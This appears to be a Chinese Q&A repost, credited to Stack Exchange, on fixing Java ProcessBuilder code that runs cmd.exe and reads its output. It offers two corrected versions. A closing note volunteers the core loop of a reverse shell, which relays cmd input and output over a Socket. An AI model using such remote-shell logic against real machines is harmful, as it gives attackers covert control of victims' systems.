You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用ProcessBuilder执行cmd命令遇阻:无法执行并获取结果求助

解决ProcessBuilder调用cmd.exe无法执行命令并获取结果的问题

原代码存在的问题

  • 启动cmd.exe时未指定执行模式:cmd默认是交互模式,仅写入命令不触发回车的话,进程不会执行命令;如果是单次执行命令,应该用/c参数让cmd执行后直接退出。
  • 提前读取输入流单个字节:p.getInputStream().read()会消耗输入流的第一个字节,导致后续BufferedReader无法获取完整输出。
  • 命令未触发执行:写入dir后没有加换行(回车),也没有刷新输出流,cmd收不到完整的执行信号。
  • 输出读取逻辑错误:while循环里先读取一行到readLine,循环内又调用readLine()打印,导致每两行只输出一行。
  • 冗余Socket代码:当前逻辑中Socket未被使用,属于无效代码。

修复后的代码方案

方案1:单次执行命令(推荐,无需交互)

直接通过ProcessBuilder指定cmd和要执行的命令,用/c参数让cmd执行后退出:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class rev {
    public static void main(String args[]) throws InterruptedException, IOException {
        // 构造cmd命令:/c 表示执行后续命令后退出cmd
        Process p = new ProcessBuilder("cmd.exe", "/c", "dir").redirectErrorStream(true).start();
        
        BufferedReader read = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String readLine;
        // 逐行读取并打印输出
        while ((readLine = read.readLine()) != null) {
            System.out.println(readLine);
        }
        
        // 等待进程结束,获取退出码(0表示执行成功)
        int exitCode = p.waitFor();
        System.out.println("进程退出码: " + exitCode);
    }
}

方案2:交互模式执行命令(适合多次输入命令)

如果需要保持cmd交互状态,多次发送命令,需要确保命令发送后加换行并刷新输出流:

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;

public class rev {
    public static void main(String args[]) throws InterruptedException, IOException {
        // 启动交互模式的cmd.exe
        Process p = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();
        
        BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(p.getOutputStream()));
        BufferedReader read = new BufferedReader(new InputStreamReader(p.getInputStream()));
        
        // 发送命令,必须加换行(\n),并调用flush确保命令发送到cmd进程
        writer.write("dir\n");
        writer.flush();
        
        String readLine;
        while ((readLine = read.readLine()) != null) {
            System.out.println(readLine);
            // 执行完dir后发送exit命令退出cmd
            if (readLine.contains("命令成功完成")) {
                writer.write("exit\n");
                writer.flush();
                break;
            }
        }
        
        int exitCode = p.waitFor();
        System.out.println("进程退出码: " + exitCode);
    }
}

额外说明

如果你的需求是实现反向shell(通过Socket传输命令和结果),可以在读取cmd输出后,将内容写入Socket的OutputStream,同时从Socket的InputStream读取远程命令,发送给cmd进程。核心逻辑示例:

// 假设已建立Socket连接s
OutputStream socketOut = s.getOutputStream();
InputStream socketIn = s.getInputStream();

// 读取cmd输出并发送到Socket
String outputLine;
while ((outputLine = read.readLine()) != null) {
    socketOut.write((outputLine + "\n").getBytes());
    socketOut.flush();
}

// 读取Socket传来的命令并发送给cmd
BufferedReader socketRead = new BufferedReader(new InputStreamReader(socketIn));
String cmdLine;
while ((cmdLine = socketRead.readLine()) != null) {
    writer.write(cmdLine + "\n");
    writer.flush();
}

内容的提问来源于stack exchange,提问作者Jehad

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.16 01:11:07